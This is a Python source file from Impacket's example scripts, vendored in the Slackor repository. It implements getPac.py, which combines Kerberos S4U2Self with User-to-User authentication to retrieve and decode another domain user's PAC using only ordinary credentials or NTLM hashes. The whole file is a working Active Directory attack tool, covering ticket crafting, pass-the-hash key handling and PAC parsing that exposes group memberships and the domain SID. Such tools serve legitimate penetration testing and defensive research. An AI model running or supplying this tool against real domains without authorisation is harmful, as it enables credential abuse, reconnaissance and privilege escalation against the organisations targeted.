github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/impacket/examples/getPac.py (about) 1 #!/usr/bin/python 2 # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 # 4 # This software is provided under under a slightly modified version 5 # of the Apache Software License. See the accompanying LICENSE file 6 # for more information. 7 # 8 # Author: 9 # Alberto Solino (@agsolino) 10 # 11 # Description: 12 # This script will get the PAC of the specified target user just having a normal authenticated user credentials. 13 # It does so by using a mix of [MS-SFU]'s S4USelf + User to User Kerberos Authentication. 14 # Original idea (or accidental discovery :) ) of adding U2U capabilities inside a S4USelf by Benjamin Delpy (@gentilkiwi) 15 # 16 # References: 17 # 18 # U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02 19 # [MS-SFU]: https://msdn.microsoft.com/en-us/library/cc246071.aspx 20 from __future__ import division 21 from __future__ import print_function 22 import argparse 23 import datetime 24 import logging 25 import random 26 import re 27 import struct 28 import sys 29 from binascii import unhexlify 30 from six import b 31 32 from pyasn1.codec.der import decoder, encoder 33 from pyasn1.type.univ import noValue 34 35 from impacket import version 36 from impacket.dcerpc.v5.rpcrt import TypeSerialization1 37 from impacket.examples import logger 38 from impacket.krb5 import constants 39 from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ 40 EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1 41 from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, Enctype 42 from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive 43 from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, \ 44 PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO 45 from impacket.krb5.types import Principal, KerberosTime, Ticket 46 from impacket.winregistry import hexdump 47 48 49 class S4U2SELF: 50 51 def printPac(self, data): 52 encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0] 53 adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[ 54 0] 55 # So here we have the PAC 56 pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) 57 buff = pacType['Buffers'] 58 59 for bufferN in range(pacType['cBuffers']): 60 infoBuffer = PAC_INFO_BUFFER(buff) 61 data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']] 62 if logging.getLogger().level == logging.DEBUG: 63 print("TYPE 0x%x" % infoBuffer['ulType']) 64 if infoBuffer['ulType'] == 1: 65 type1 = TypeSerialization1(data) 66 # I'm skipping here 4 bytes with its the ReferentID for the pointer 67 newdata = data[len(type1)+4:] 68 kerbdata = KERB_VALIDATION_INFO() 69 kerbdata.fromString(newdata) 70 kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):]) 71 kerbdata.dump() 72 print() 73 print('Domain SID:', kerbdata['LogonDomainId'].formatCanonical()) 74 print() 75 elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE: 76 clientInfo = PAC_CLIENT_INFO(data) 77 if logging.getLogger().level == logging.DEBUG: 78 clientInfo.dump() 79 print() 80 elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM: 81 signatureData = PAC_SIGNATURE_DATA(data) 82 if logging.getLogger().level == logging.DEBUG: 83 signatureData.dump() 84 print() 85 elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM: 86 signatureData = PAC_SIGNATURE_DATA(data) 87 if logging.getLogger().level == logging.DEBUG: 88 signatureData.dump() 89 print() 90 elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO: 91 upn = UPN_DNS_INFO(data) 92 if logging.getLogger().level == logging.DEBUG: 93 upn.dump() 94 print(data[upn['DnsDomainNameOffset']:]) 95 print() 96 else: 97 hexdump(data) 98 99 if logging.getLogger().level == logging.DEBUG: 100 print("#"*80) 101 102 buff = buff[len(infoBuffer):] 103 104 105 def __init__(self, behalfUser, username = '', password = '', domain='', hashes = None): 106 self.__username = username 107 self.__password = password 108 self.__domain = domain.upper() 109 self.__behalfUser = behalfUser 110 self.__lmhash = '' 111 self.__nthash = '' 112 if hashes is not None: 113 self.__lmhash, self.__nthash = hashes.split(':') 114 115 def dump(self, addr): 116 # Try all requested protocols until one works. 117 118 userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 119 tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, 120 unhexlify(self.__lmhash), unhexlify(self.__nthash)) 121 122 decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0] 123 124 # Extract the ticket from the TGT 125 ticket = Ticket() 126 ticket.from_asn1(decodedTGT['ticket']) 127 128 apReq = AP_REQ() 129 apReq['pvno'] = 5 130 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) 131 132 opts = list() 133 apReq['ap-options'] = constants.encodeFlags(opts) 134 seq_set(apReq,'ticket', ticket.to_asn1) 135 136 authenticator = Authenticator() 137 authenticator['authenticator-vno'] = 5 138 authenticator['crealm'] = str(decodedTGT['crealm']) 139 140 clientName = Principal() 141 clientName.from_asn1( decodedTGT, 'crealm', 'cname') 142 143 seq_set(authenticator, 'cname', clientName.components_to_asn1) 144 145 now = datetime.datetime.utcnow() 146 authenticator['cusec'] = now.microsecond 147 authenticator['ctime'] = KerberosTime.to_asn1(now) 148 149 if logging.getLogger().level == logging.DEBUG: 150 logging.debug('AUTHENTICATOR') 151 print(authenticator.prettyPrint()) 152 print ('\n') 153 154 encodedAuthenticator = encoder.encode(authenticator) 155 156 # Key Usage 7 157 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes 158 # TGS authenticator subkey), encrypted with the TGS session 159 # key (Section 5.5.1) 160 encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) 161 162 apReq['authenticator'] = noValue 163 apReq['authenticator']['etype'] = cipher.enctype 164 apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator 165 166 encodedApReq = encoder.encode(apReq) 167 168 tgsReq = TGS_REQ() 169 170 tgsReq['pvno'] = 5 171 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) 172 173 tgsReq['padata'] = noValue 174 tgsReq['padata'][0] = noValue 175 tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) 176 tgsReq['padata'][0]['padata-value'] = encodedApReq 177 178 # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service 179 # requests a service ticket to itself on behalf of a user. The user is 180 # identified to the KDC by the user's name and realm. 181 clientName = Principal(self.__behalfUser, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 182 183 S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value) 184 S4UByteArray += b(self.__behalfUser) + b(self.__domain) + b'Kerberos' 185 186 if logging.getLogger().level == logging.DEBUG: 187 logging.debug('S4UByteArray') 188 hexdump(S4UByteArray) 189 190 # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash 191 # with the following three parameters: the session key of the TGT of 192 # the service performing the S4U2Self request, the message type value 193 # of 17, and the byte array S4UByteArray. 194 checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray) 195 196 if logging.getLogger().level == logging.DEBUG: 197 logging.debug('CheckSum') 198 hexdump(checkSum) 199 200 paForUserEnc = PA_FOR_USER_ENC() 201 seq_set(paForUserEnc, 'userName', clientName.components_to_asn1) 202 paForUserEnc['userRealm'] = self.__domain 203 paForUserEnc['cksum'] = noValue 204 paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value) 205 paForUserEnc['cksum']['checksum'] = checkSum 206 paForUserEnc['auth-package'] = 'Kerberos' 207 208 if logging.getLogger().level == logging.DEBUG: 209 logging.debug('PA_FOR_USER_ENC') 210 print(paForUserEnc.prettyPrint()) 211 212 encodedPaForUserEnc = encoder.encode(paForUserEnc) 213 214 tgsReq['padata'][1] = noValue 215 tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value) 216 tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc 217 218 reqBody = seq_set(tgsReq, 'req-body') 219 220 opts = list() 221 opts.append( constants.KDCOptions.forwardable.value ) 222 opts.append( constants.KDCOptions.renewable.value ) 223 opts.append( constants.KDCOptions.renewable_ok.value ) 224 opts.append( constants.KDCOptions.canonicalize.value ) 225 opts.append(constants.KDCOptions.enc_tkt_in_skey.value) 226 227 reqBody['kdc-options'] = constants.encodeFlags(opts) 228 229 serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value) 230 #serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 231 232 seq_set(reqBody, 'sname', serverName.components_to_asn1) 233 reqBody['realm'] = str(decodedTGT['crealm']) 234 235 now = datetime.datetime.utcnow() + datetime.timedelta(days=1) 236 237 reqBody['till'] = KerberosTime.to_asn1(now) 238 reqBody['nonce'] = random.getrandbits(31) 239 seq_set_iter(reqBody, 'etype', 240 (int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value))) 241 242 # If you comment these two lines plus enc_tkt_in_skey as option, it is bassically a S4USelf 243 myTicket = ticket.to_asn1(TicketAsn1()) 244 seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) 245 246 if logging.getLogger().level == logging.DEBUG: 247 logging.debug('Final TGS') 248 print(tgsReq.prettyPrint()) 249 250 message = encoder.encode(tgsReq) 251 252 r = sendReceive(message, self.__domain, None) 253 254 tgs = decoder.decode(r, asn1Spec = TGS_REP())[0] 255 256 if logging.getLogger().level == logging.DEBUG: 257 logging.debug('TGS_REP') 258 print(tgs.prettyPrint()) 259 260 cipherText = tgs['ticket']['enc-part']['cipher'] 261 262 # Key Usage 2 263 # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or 264 # application session key), encrypted with the service key 265 # (section 5.4.2) 266 267 newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])] 268 269 # Pass the hash/aes key :P 270 if self.__nthash != '' and (isinstance(self.__nthash, bytes) and self.__nthash != b''): 271 key = Key(newCipher.enctype, unhexlify(self.__nthash)) 272 else: 273 if newCipher.enctype == Enctype.RC4: 274 key = newCipher.string_to_key(password, '', None) 275 else: 276 key = newCipher.string_to_key(password, self.__domain.upper()+self.__username, None) 277 278 try: 279 # If is was plain U2U, this is the key 280 plainText = newCipher.decrypt(key, 2, str(cipherText)) 281 except: 282 # S4USelf + U2U uses this other key 283 plainText = cipher.decrypt(sessionKey, 2, cipherText) 284 285 self.printPac(plainText) 286 287 # Process command-line arguments. 288 if __name__ == '__main__': 289 logger.init() 290 print(version.BANNER) 291 292 parser = argparse.ArgumentParser() 293 294 parser.add_argument('credentials', action='store', help='domain/username[:password]. Valid domain credentials to use ' 295 'for grabbing targetUser\'s PAC') 296 parser.add_argument('-targetUser', action='store', required=True, help='the target user to retrieve the PAC of') 297 parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 298 299 group = parser.add_argument_group('authentication') 300 301 group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 302 if len(sys.argv)==1: 303 parser.print_help() 304 sys.exit(1) 305 306 options = parser.parse_args() 307 308 # This is because I'm lazy with regex 309 # ToDo: We need to change the regex to fullfil domain/username[:password] 310 targetParam = options.credentials + '@' 311 domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( 312 targetParam).groups('') 313 314 # In case the password contains '@' 315 if '@' in address: 316 password = password + '@' + address.rpartition('@')[0] 317 address = address.rpartition('@')[2] 318 319 if domain is None: 320 domain = '' 321 322 if password == '' and username != '' and options.hashes is None: 323 from getpass import getpass 324 password = getpass("Password:") 325 326 if options.debug is True: 327 logging.getLogger().setLevel(logging.DEBUG) 328 else: 329 logging.getLogger().setLevel(logging.INFO) 330 331 try: 332 dumper = S4U2SELF(options.targetUser, username, password, domain, options.hashes) 333 dumper.dump(address) 334 except Exception as e: 335 if logging.getLogger().level == logging.DEBUG: 336 import traceback 337 traceback.print_exc() 338 logging.error(str(e))